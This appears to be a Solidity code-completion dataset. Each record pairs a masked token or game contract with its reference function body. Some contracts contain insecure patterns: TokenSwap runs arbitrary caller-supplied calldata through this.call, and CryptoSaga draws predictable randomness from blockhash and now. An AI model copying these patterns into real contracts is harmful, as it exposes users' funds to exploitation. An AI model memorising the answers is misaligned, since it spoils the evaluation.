contract TokenSwap is Ownable { /* neverdie token contract address and its instance, can be set by owner only */ HumanStandardToken public ndc; /* neverdie token contract address and its instance, can be set by owner only */ HumanStandardToken public tpt; /* signer address, verified in 'swap' method, can be set by owner only */ address public neverdieSigner; /* minimal amount for swap, the amount passed to 'swap method can't be smaller than this value, can be set by owner only */ uint256 public minSwapAmount = 40; event Swap( address indexed to, address indexed PTaddress, uint256 rate, uint256 amount, uint256 ptAmount ); event BuyNDC( address indexed to, uint256 NDCprice, uint256 value, uint256 amount ); event BuyTPT( address indexed to, uint256 TPTprice, uint256 value, uint256 amount ); /// @dev handy constructor to initialize TokenSwap with a set of proper parameters /// NOTE: min swap amount is left with default value, set it manually if needed /// @param _teleportContractAddress Teleport token address /// @param _neverdieContractAddress Neverdie token address /// @param _signer signer address, verified further in swap functions function TokenSwap(address _teleportContractAddress, address _neverdieContractAddress, address _signer) public { tpt = HumanStandardToken(_teleportContractAddress); ndc = HumanStandardToken(_neverdieContractAddress); neverdieSigner = _signer; } function setTeleportContractAddress(address _to) external onlyOwner { tpt = HumanStandardToken(_to); } function setNeverdieContractAddress(address _to) external onlyOwner { ndc = HumanStandardToken(_to); } function setNeverdieSignerAddress(address _to) external onlyOwner { neverdieSigner = _to; } function setMinSwapAmount(uint256 _amount) external onlyOwner { minSwapAmount = _amount; } /// @dev receiveApproval calls function encoded as extra data /// @param _sender token sender /// @param _value value allowed to be spent /// @param _tokenContract callee, should be equal to neverdieContractAddress /// @param _extraData this should be a well formed calldata with function signature preceding which is used to call, for example, 'swap' method function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData) external { require(_tokenContract == address(ndc)); assert(this.call(_extraData)); } /// @dev One-way swapFor function, swaps NDC for purchasable token for a given spender /// @param _spender account that wants to swap NDC for purchasable token /// @param _rate current NDC to purchasable token rate, i.e. that the returned amount /// of purchasable tokens equals to (_amount * _rate) / 1000 /// @param _PTaddress the address of the purchasable token /// @param _amount amount of NDC being offered /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function swapFor(address _spender, uint256 _rate, address _PTaddress, uint256 _amount, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s) public {<FILL_FUNCTION_BODY> } /// @dev One-way swap function, swaps NDC to purchasable tokens /// @param _rate current NDC to purchasable token rate, i.e. that the returned amount of purchasable tokens equals to _amount * _rate /// @param _PTaddress the address of the purchasable token /// @param _amount amount of NDC being offered /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function swap(uint256 _rate, address _PTaddress, uint256 _amount, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s) external { swapFor(msg.sender, _rate, _PTaddress, _amount, _expiration, _v, _r, _s); } /// @dev buy NDC with ether /// @param _NDCprice NDC price in Wei /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function buyNDC(uint256 _NDCprice, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s ) payable external { // Check if the signature did not expire yet by inspecting the timestamp require(_expiration >= block.timestamp); // Check if the signature is coming from the neverdie address address signer = ecrecover(keccak256(_NDCprice, _expiration), _v, _r, _s); require(signer == neverdieSigner); uint256 a = SafeMath.div(SafeMath.mul(msg.value, 10**18), _NDCprice); assert(ndc.transfer(msg.sender, a)); // Emit BuyNDC event BuyNDC(msg.sender, _NDCprice, msg.value, a); } /// @dev buy TPT with ether /// @param _TPTprice TPT price in Wei /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function buyTPT(uint256 _TPTprice, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s ) payable external { // Check if the signature did not expire yet by inspecting the timestamp require(_expiration >= block.timestamp); // Check if the signature is coming from the neverdie address address signer = ecrecover(keccak256(_TPTprice, _expiration), _v, _r, _s); require(signer == neverdieSigner); uint256 a = SafeMath.div(SafeMath.mul(msg.value, 10**18), _TPTprice); assert(tpt.transfer(msg.sender, a)); // Emit BuyNDC event BuyTPT(msg.sender, _TPTprice, msg.value, a); } /// @dev fallback function to reject any ether coming directly to the contract function () payable public { revert(); } /// @dev withdraw all ether function withdrawEther() external onlyOwner { owner.transfer(this.balance); } /// @dev withdraw token /// @param _tokenContract any kind of ERC20 token to withdraw from function withdraw(address _tokenContract) external onlyOwner { ERC20 token = ERC20(_tokenContract); uint256 balance = token.balanceOf(this); assert(token.transfer(owner, balance)); } /// @dev kill contract, but before transfer all TPT, NDC tokens and ether to owner function kill() onlyOwner public { uint256 allNDC = ndc.balanceOf(this); uint256 allTPT = tpt.balanceOf(this); assert(ndc.transfer(owner, allNDC) && tpt.transfer(owner, allTPT)); selfdestruct(owner); } }
contract TokenSwap is Ownable { /* neverdie token contract address and its instance, can be set by owner only */ HumanStandardToken public ndc; /* neverdie token contract address and its instance, can be set by owner only */ HumanStandardToken public tpt; /* signer address, verified in 'swap' method, can be set by owner only */ address public neverdieSigner; /* minimal amount for swap, the amount passed to 'swap method can't be smaller than this value, can be set by owner only */ uint256 public minSwapAmount = 40; event Swap( address indexed to, address indexed PTaddress, uint256 rate, uint256 amount, uint256 ptAmount ); event BuyNDC( address indexed to, uint256 NDCprice, uint256 value, uint256 amount ); event BuyTPT( address indexed to, uint256 TPTprice, uint256 value, uint256 amount ); /// @dev handy constructor to initialize TokenSwap with a set of proper parameters /// NOTE: min swap amount is left with default value, set it manually if needed /// @param _teleportContractAddress Teleport token address /// @param _neverdieContractAddress Neverdie token address /// @param _signer signer address, verified further in swap functions function TokenSwap(address _teleportContractAddress, address _neverdieContractAddress, address _signer) public { tpt = HumanStandardToken(_teleportContractAddress); ndc = HumanStandardToken(_neverdieContractAddress); neverdieSigner = _signer; } function setTeleportContractAddress(address _to) external onlyOwner { tpt = HumanStandardToken(_to); } function setNeverdieContractAddress(address _to) external onlyOwner { ndc = HumanStandardToken(_to); } function setNeverdieSignerAddress(address _to) external onlyOwner { neverdieSigner = _to; } function setMinSwapAmount(uint256 _amount) external onlyOwner { minSwapAmount = _amount; } /// @dev receiveApproval calls function encoded as extra data /// @param _sender token sender /// @param _value value allowed to be spent /// @param _tokenContract callee, should be equal to neverdieContractAddress /// @param _extraData this should be a well formed calldata with function signature preceding which is used to call, for example, 'swap' method function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData) external { require(_tokenContract == address(ndc)); assert(this.call(_extraData)); } <FILL_FUNCTION> /// @dev One-way swap function, swaps NDC to purchasable tokens /// @param _rate current NDC to purchasable token rate, i.e. that the returned amount of purchasable tokens equals to _amount * _rate /// @param _PTaddress the address of the purchasable token /// @param _amount amount of NDC being offered /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function swap(uint256 _rate, address _PTaddress, uint256 _amount, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s) external { swapFor(msg.sender, _rate, _PTaddress, _amount, _expiration, _v, _r, _s); } /// @dev buy NDC with ether /// @param _NDCprice NDC price in Wei /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function buyNDC(uint256 _NDCprice, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s ) payable external { // Check if the signature did not expire yet by inspecting the timestamp require(_expiration >= block.timestamp); // Check if the signature is coming from the neverdie address address signer = ecrecover(keccak256(_NDCprice, _expiration), _v, _r, _s); require(signer == neverdieSigner); uint256 a = SafeMath.div(SafeMath.mul(msg.value, 10**18), _NDCprice); assert(ndc.transfer(msg.sender, a)); // Emit BuyNDC event BuyNDC(msg.sender, _NDCprice, msg.value, a); } /// @dev buy TPT with ether /// @param _TPTprice TPT price in Wei /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function buyTPT(uint256 _TPTprice, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s ) payable external { // Check if the signature did not expire yet by inspecting the timestamp require(_expiration >= block.timestamp); // Check if the signature is coming from the neverdie address address signer = ecrecover(keccak256(_TPTprice, _expiration), _v, _r, _s); require(signer == neverdieSigner); uint256 a = SafeMath.div(SafeMath.mul(msg.value, 10**18), _TPTprice); assert(tpt.transfer(msg.sender, a)); // Emit BuyNDC event BuyTPT(msg.sender, _TPTprice, msg.value, a); } /// @dev fallback function to reject any ether coming directly to the contract function () payable public { revert(); } /// @dev withdraw all ether function withdrawEther() external onlyOwner { owner.transfer(this.balance); } /// @dev withdraw token /// @param _tokenContract any kind of ERC20 token to withdraw from function withdraw(address _tokenContract) external onlyOwner { ERC20 token = ERC20(_tokenContract); uint256 balance = token.balanceOf(this); assert(token.transfer(owner, balance)); } /// @dev kill contract, but before transfer all TPT, NDC tokens and ether to owner function kill() onlyOwner public { uint256 allNDC = ndc.balanceOf(this); uint256 allTPT = tpt.balanceOf(this); assert(ndc.transfer(owner, allNDC) && tpt.transfer(owner, allTPT)); selfdestruct(owner); } }
// Check if the signature did not expire yet by inspecting the timestamp require(_expiration >= block.timestamp); // Check if the signature is coming from the neverdie signer address address signer = ecrecover(keccak256(_spender, _rate, _PTaddress, _amount, _expiration), _v, _r, _s); require(signer == neverdieSigner); // Check if the amount of NDC is higher than the minimum amount require(_amount >= minSwapAmount); // Check that we hold enough tokens HumanStandardToken ptoken = HumanStandardToken(_PTaddress); uint256 ptAmount; uint8 decimals = ptoken.decimals(); if (decimals <= 18) { ptAmount = SafeMath.div(SafeMath.div(SafeMath.mul(_amount, _rate), 1000), 10**(uint256(18 - decimals))); } else { ptAmount = SafeMath.div(SafeMath.mul(SafeMath.mul(_amount, _rate), 10**(uint256(decimals - 18))), 1000); } assert(ndc.transferFrom(_spender, this, _amount) && ptoken.transfer(_spender, ptAmount)); // Emit Swap event Swap(_spender, _PTaddress, _rate, _amount, ptAmount);
function swapFor(address _spender, uint256 _rate, address _PTaddress, uint256 _amount, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s) public
/// @dev One-way swapFor function, swaps NDC for purchasable token for a given spender /// @param _spender account that wants to swap NDC for purchasable token /// @param _rate current NDC to purchasable token rate, i.e. that the returned amount /// of purchasable tokens equals to (_amount * _rate) / 1000 /// @param _PTaddress the address of the purchasable token /// @param _amount amount of NDC being offered /// @param _expiration expiration timestamp /// @param _v ECDCA signature /// @param _r ECDSA signature /// @param _s ECDSA signature function swapFor(address _spender, uint256 _rate, address _PTaddress, uint256 _amount, uint256 _expiration, uint8 _v, bytes32 _r, bytes32 _s) public
91759
Pausable
unpause
contract Pausable is Ownable { event Paused(); event Unpaused(); bool public pause = false; modifier whenNotPaused() { require(!pause); _; } modifier whenPaused() { require(pause); _; } function pause() onlyOwner whenNotPaused public { pause = true; Paused(); } function unpause() onlyOwner whenPaused public {<FILL_FUNCTION_BODY> } }
contract Pausable is Ownable { event Paused(); event Unpaused(); bool public pause = false; modifier whenNotPaused() { require(!pause); _; } modifier whenPaused() { require(pause); _; } function pause() onlyOwner whenNotPaused public { pause = true; Paused(); } <FILL_FUNCTION> }
pause = false; Unpaused();
function unpause() onlyOwner whenPaused public
function unpause() onlyOwner whenPaused public
4783
SmartYieldToken
SmartYieldToken
contract SmartYieldToken is StandardToken { string public name; uint8 public decimals; string public symbol; uint256 public price; address public owner; function SmartYieldToken() {<FILL_FUNCTION_BODY> } function() public payable{ uint256 amount = msg.value * price; require(balances[owner] >= amount); balances[owner] = balances[owner] - amount; balances[msg.sender] = balances[msg.sender] + amount; emit Transfer(owner, msg.sender, amount); owner.transfer(msg.value); } }
contract SmartYieldToken is StandardToken { string public name; uint8 public decimals; string public symbol; uint256 public price; address public owner; <FILL_FUNCTION> function() public payable{ uint256 amount = msg.value * price; require(balances[owner] >= amount); balances[owner] = balances[owner] - amount; balances[msg.sender] = balances[msg.sender] + amount; emit Transfer(owner, msg.sender, amount); owner.transfer(msg.value); } }
balances[msg.sender] = 80000 * 1e18; totalSupply = 80000 * 1e18; name = "Smart Yield Token"; decimals = 18; symbol = "SYDT"; price = 100; owner = msg.sender;
function SmartYieldToken()
function SmartYieldToken()
84771
CryptoSagaCardSwapMerculet
summonHero
contract CryptoSagaCardSwapMerculet is Pausable{ // 50% of Merculet will be sent to this wallet. address public wallet1; // 50% of Merculet will be sent to this wallet. address public wallet2; // Merculet token instance. ERC20 public merculetContract; // The hero contract. CryptoSagaHero public heroContract; // Merculet token price. uint256 public merculetPrice = 1000000000000000000000; // 1000 Merculets. // Blacklisted heroes. // This is needed in order to protect players, in case there exists any hero with critical issues. // We promise we will use this function carefully, and this won't be used for balancing the OP heroes. mapping(uint32 => bool) public blackList; // Random seed. uint32 private seed = 0; // @dev Set the price of summoning a hero with Merculet token. function setMerculetPrice(uint256 _value) onlyOwner public { merculetPrice = _value; } // @dev Set blacklist. function setBlacklist(uint32 _classId, bool _value) onlyOwner public { blackList[_classId] = _value; } // @dev Contructor. function CryptoSagaCardSwapMerculet(address _heroAddress, address _tokenAddress, address _walletAddress1, address _walletAddress2) public { require(_heroAddress != address(0)); require(_walletAddress1 != address(0)); require(_walletAddress2 != address(0)); wallet1 = _walletAddress1; wallet2 = _walletAddress2; heroContract = CryptoSagaHero(_heroAddress); merculetContract = ERC20(_tokenAddress); } // @dev Pay with Merculet. function payWithMerculet(uint256 _amount) whenNotPaused public { require(msg.sender != address(0)); // Up to 5 purchases at once. require(_amount >= 1 && _amount <= 5); var _priceOfBundle = merculetPrice * _amount; require(merculetContract.allowance(msg.sender, this) >= _priceOfBundle); if (merculetContract.transferFrom(msg.sender, this, _priceOfBundle)) { // Send Merculet tokens to the wallets. merculetContract.transfer(wallet1, _priceOfBundle / 2); merculetContract.transfer(wallet2, _priceOfBundle / 2); for (uint i = 0; i < _amount; i ++) { // Get value 0 ~ 9999. var _randomValue = random(10000, 0); // We hard-code this in order to give credential to the players. uint8 _heroRankToMint = 0; if (_randomValue < 5000) { _heroRankToMint = 1; } else if (_randomValue < 9550) { _heroRankToMint = 2; } else if (_randomValue < 9950) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } // Summon the hero. summonHero(msg.sender, _heroRankToMint); } } } // @dev Summon a hero. // 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary function summonHero(address _to, uint8 _heroRankToMint) private returns (uint256) {<FILL_FUNCTION_BODY> } // @dev return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } }
contract CryptoSagaCardSwapMerculet is Pausable{ // 50% of Merculet will be sent to this wallet. address public wallet1; // 50% of Merculet will be sent to this wallet. address public wallet2; // Merculet token instance. ERC20 public merculetContract; // The hero contract. CryptoSagaHero public heroContract; // Merculet token price. uint256 public merculetPrice = 1000000000000000000000; // 1000 Merculets. // Blacklisted heroes. // This is needed in order to protect players, in case there exists any hero with critical issues. // We promise we will use this function carefully, and this won't be used for balancing the OP heroes. mapping(uint32 => bool) public blackList; // Random seed. uint32 private seed = 0; // @dev Set the price of summoning a hero with Merculet token. function setMerculetPrice(uint256 _value) onlyOwner public { merculetPrice = _value; } // @dev Set blacklist. function setBlacklist(uint32 _classId, bool _value) onlyOwner public { blackList[_classId] = _value; } // @dev Contructor. function CryptoSagaCardSwapMerculet(address _heroAddress, address _tokenAddress, address _walletAddress1, address _walletAddress2) public { require(_heroAddress != address(0)); require(_walletAddress1 != address(0)); require(_walletAddress2 != address(0)); wallet1 = _walletAddress1; wallet2 = _walletAddress2; heroContract = CryptoSagaHero(_heroAddress); merculetContract = ERC20(_tokenAddress); } // @dev Pay with Merculet. function payWithMerculet(uint256 _amount) whenNotPaused public { require(msg.sender != address(0)); // Up to 5 purchases at once. require(_amount >= 1 && _amount <= 5); var _priceOfBundle = merculetPrice * _amount; require(merculetContract.allowance(msg.sender, this) >= _priceOfBundle); if (merculetContract.transferFrom(msg.sender, this, _priceOfBundle)) { // Send Merculet tokens to the wallets. merculetContract.transfer(wallet1, _priceOfBundle / 2); merculetContract.transfer(wallet2, _priceOfBundle / 2); for (uint i = 0; i < _amount; i ++) { // Get value 0 ~ 9999. var _randomValue = random(10000, 0); // We hard-code this in order to give credential to the players. uint8 _heroRankToMint = 0; if (_randomValue < 5000) { _heroRankToMint = 1; } else if (_randomValue < 9550) { _heroRankToMint = 2; } else if (_randomValue < 9950) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } // Summon the hero. summonHero(msg.sender, _heroRankToMint); } } } <FILL_FUNCTION> // @dev return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } }
// Get the list of hero classes. uint32 _numberOfClasses = heroContract.numberOfHeroClasses(); uint32[] memory _candidates = new uint32[](_numberOfClasses); uint32 _count = 0; for (uint32 i = 0; i < _numberOfClasses; i ++) { if (heroContract.getClassRank(i) == _heroRankToMint && blackList[i] != true) { _candidates[_count] = i; _count++; } } require(_count != 0); return heroContract.mint(_to, _candidates[random(_count, 0)]);
function summonHero(address _to, uint8 _heroRankToMint) private returns (uint256)
// @dev Summon a hero. // 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary function summonHero(address _to, uint8 _heroRankToMint) private returns (uint256)
48077
Perlin
daoPurge
contract Perlin is ERC20 { using SafeMath for uint256; // ERC-20 Parameters string public name; string public symbol; uint256 public decimals; uint256 public override totalSupply; // ERC-20 Mappings mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; // Parameters uint256 one; bool public emitting; uint256 public emissionCurve; uint256 baseline; uint256 public totalCap; uint256 public secondsPerEra; uint256 public currentEra; uint256 public nextEraTime; address public incentiveAddress; address public DAO; address public perlin1; address public burnAddress; // Events event NewCurve(address indexed DAO, uint256 newCurve); event NewIncentiveAddress(address indexed DAO, address newIncentiveAddress); event NewDuration(address indexed DAO, uint256 newDuration); event NewDAO(address indexed DAO, address newOwner); event NewEra(uint256 currentEra, uint256 nextEraTime, uint256 emission); // Only DAO can execute modifier onlyDAO() { require(msg.sender == DAO, "Must be DAO"); _; } //=====================================CREATION=========================================// // Constructor constructor() public { name = 'Perlin'; symbol = 'PERL'; decimals = 18; one = 10 ** decimals; totalSupply = 0; totalCap = 3 * 10**9 * one; // 3 billion emissionCurve = 2048; emitting = false; currentEra = 1; secondsPerEra = 86400; nextEraTime = now + secondsPerEra; DAO = 0x3F2a2c502E575f2fd4053c76f4E21623143518d8; perlin1 = 0xb5A73f5Fc8BbdbcE59bfD01CA8d35062e0dad801; baseline = 1033200000 * one; // Perlin1 Inital Supply burnAddress = 0x0000000000000000000000000000000000000001; } //========================================ERC20=========================================// function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } // ERC20 Transfer function function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } // ERC20 Approve, change allowance functions function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // ERC20 TransferFrom function function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _checkEmission(); emit Transfer(sender, recipient, amount); } // Internal mint (upgrading and daily emissions) function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(amount); require(totalSupply <= totalCap, "Must not mint more than the cap"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } // Burn supply function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } //=========================================DAO=========================================// // Can start function daoStartEmissions() public onlyDAO { emitting = true; } // Can stop function daoStopEmissions() public onlyDAO { emitting = false; } // Can change emissionCurve function daoChangeEmissionCurve(uint256 newCurve) public onlyDAO { emissionCurve = newCurve; emit NewCurve(msg.sender, newCurve); } // Can change daily time function daoChangeEraDuration(uint256 newDuration) public onlyDAO { require(newDuration >= 100, "Must be greater than 100 seconds"); secondsPerEra = newDuration; emit NewDuration(msg.sender, newDuration); } // Can change Incentive Address function daoChangeIncentiveAddress(address newIncentiveAddress) public onlyDAO { incentiveAddress = newIncentiveAddress; emit NewIncentiveAddress(msg.sender, newIncentiveAddress); } // Can change DAO function daoChange(address newDAO) public onlyDAO { if (isContract(newDAO)) { require(PerlinDAO(newDAO).isPerlinDAO(), "Must be DAO"); } DAO = newDAO; emit NewDAO(msg.sender, newDAO); } function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } // Can purge DAO function daoPurge() public onlyDAO {<FILL_FUNCTION_BODY> } //======================================EMISSION========================================// // Internal - Update emission function function _checkEmission() private { if ((now >= nextEraTime) && emitting) { // If new Era and allowed to emit currentEra = currentEra.add(1); // Increment Era nextEraTime = now.add(secondsPerEra); // Set next Era time uint256 _emission = getDailyEmission(); // Get Daily Dmission _mint(incentiveAddress, _emission); // Mint to the Incentive Address emit NewEra(currentEra, nextEraTime, _emission); // Emit Event } } // Calculate Daily Emission function getDailyEmission() public view returns (uint256) { // emission = (adjustedCap - totalSupply) / emissionCurve // adjustedCap = totalCap * (totalSupply / 1bn) uint adjustedCap = (totalCap.mul(totalSupply)).div(baseline); return (adjustedCap.sub(totalSupply)).div(emissionCurve); } //======================================UPGRADE========================================// // Old Owners to Upgrade function upgrade() public { uint balance = ERC20(perlin1).balanceOf(msg.sender); require(ERC20(perlin1).transferFrom(msg.sender, burnAddress, balance)); uint factor = 10**9; // perlin1 had 9 decimals _mint(msg.sender, balance.mul(factor)); // Correct ratio 1 : 10**9 } }
contract Perlin is ERC20 { using SafeMath for uint256; // ERC-20 Parameters string public name; string public symbol; uint256 public decimals; uint256 public override totalSupply; // ERC-20 Mappings mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; // Parameters uint256 one; bool public emitting; uint256 public emissionCurve; uint256 baseline; uint256 public totalCap; uint256 public secondsPerEra; uint256 public currentEra; uint256 public nextEraTime; address public incentiveAddress; address public DAO; address public perlin1; address public burnAddress; // Events event NewCurve(address indexed DAO, uint256 newCurve); event NewIncentiveAddress(address indexed DAO, address newIncentiveAddress); event NewDuration(address indexed DAO, uint256 newDuration); event NewDAO(address indexed DAO, address newOwner); event NewEra(uint256 currentEra, uint256 nextEraTime, uint256 emission); // Only DAO can execute modifier onlyDAO() { require(msg.sender == DAO, "Must be DAO"); _; } //=====================================CREATION=========================================// // Constructor constructor() public { name = 'Perlin'; symbol = 'PERL'; decimals = 18; one = 10 ** decimals; totalSupply = 0; totalCap = 3 * 10**9 * one; // 3 billion emissionCurve = 2048; emitting = false; currentEra = 1; secondsPerEra = 86400; nextEraTime = now + secondsPerEra; DAO = 0x3F2a2c502E575f2fd4053c76f4E21623143518d8; perlin1 = 0xb5A73f5Fc8BbdbcE59bfD01CA8d35062e0dad801; baseline = 1033200000 * one; // Perlin1 Inital Supply burnAddress = 0x0000000000000000000000000000000000000001; } //========================================ERC20=========================================// function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } // ERC20 Transfer function function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } // ERC20 Approve, change allowance functions function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // ERC20 TransferFrom function function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _checkEmission(); emit Transfer(sender, recipient, amount); } // Internal mint (upgrading and daily emissions) function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(amount); require(totalSupply <= totalCap, "Must not mint more than the cap"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } // Burn supply function burn(uint256 amount) public virtual { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } //=========================================DAO=========================================// // Can start function daoStartEmissions() public onlyDAO { emitting = true; } // Can stop function daoStopEmissions() public onlyDAO { emitting = false; } // Can change emissionCurve function daoChangeEmissionCurve(uint256 newCurve) public onlyDAO { emissionCurve = newCurve; emit NewCurve(msg.sender, newCurve); } // Can change daily time function daoChangeEraDuration(uint256 newDuration) public onlyDAO { require(newDuration >= 100, "Must be greater than 100 seconds"); secondsPerEra = newDuration; emit NewDuration(msg.sender, newDuration); } // Can change Incentive Address function daoChangeIncentiveAddress(address newIncentiveAddress) public onlyDAO { incentiveAddress = newIncentiveAddress; emit NewIncentiveAddress(msg.sender, newIncentiveAddress); } // Can change DAO function daoChange(address newDAO) public onlyDAO { if (isContract(newDAO)) { require(PerlinDAO(newDAO).isPerlinDAO(), "Must be DAO"); } DAO = newDAO; emit NewDAO(msg.sender, newDAO); } function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } <FILL_FUNCTION> //======================================EMISSION========================================// // Internal - Update emission function function _checkEmission() private { if ((now >= nextEraTime) && emitting) { // If new Era and allowed to emit currentEra = currentEra.add(1); // Increment Era nextEraTime = now.add(secondsPerEra); // Set next Era time uint256 _emission = getDailyEmission(); // Get Daily Dmission _mint(incentiveAddress, _emission); // Mint to the Incentive Address emit NewEra(currentEra, nextEraTime, _emission); // Emit Event } } // Calculate Daily Emission function getDailyEmission() public view returns (uint256) { // emission = (adjustedCap - totalSupply) / emissionCurve // adjustedCap = totalCap * (totalSupply / 1bn) uint adjustedCap = (totalCap.mul(totalSupply)).div(baseline); return (adjustedCap.sub(totalSupply)).div(emissionCurve); } //======================================UPGRADE========================================// // Old Owners to Upgrade function upgrade() public { uint balance = ERC20(perlin1).balanceOf(msg.sender); require(ERC20(perlin1).transferFrom(msg.sender, burnAddress, balance)); uint factor = 10**9; // perlin1 had 9 decimals _mint(msg.sender, balance.mul(factor)); // Correct ratio 1 : 10**9 } }
DAO = address(0); emit NewDAO(msg.sender, address(0));
function daoPurge() public onlyDAO
// Can purge DAO function daoPurge() public onlyDAO
11277
RFL_Token
RFL_Token
contract RFL_Token is ERC20Token { string public name; uint256 public decimals = 18; string public symbol; string public version = '1'; /** * @notice token contructor. * @param _name is the name of the token * @param _symbol is the symbol of the token * @param _teamAddress is the address of the developer team */ function RFL_Token(string _name, string _symbol, address _teamAddress) public {<FILL_FUNCTION_BODY> } /** * @notice this contract will revert on direct non-function calls * @dev Function to handle callback calls */ function() public { revert(); } }
contract RFL_Token is ERC20Token { string public name; uint256 public decimals = 18; string public symbol; string public version = '1'; <FILL_FUNCTION> /** * @notice this contract will revert on direct non-function calls * @dev Function to handle callback calls */ function() public { revert(); } }
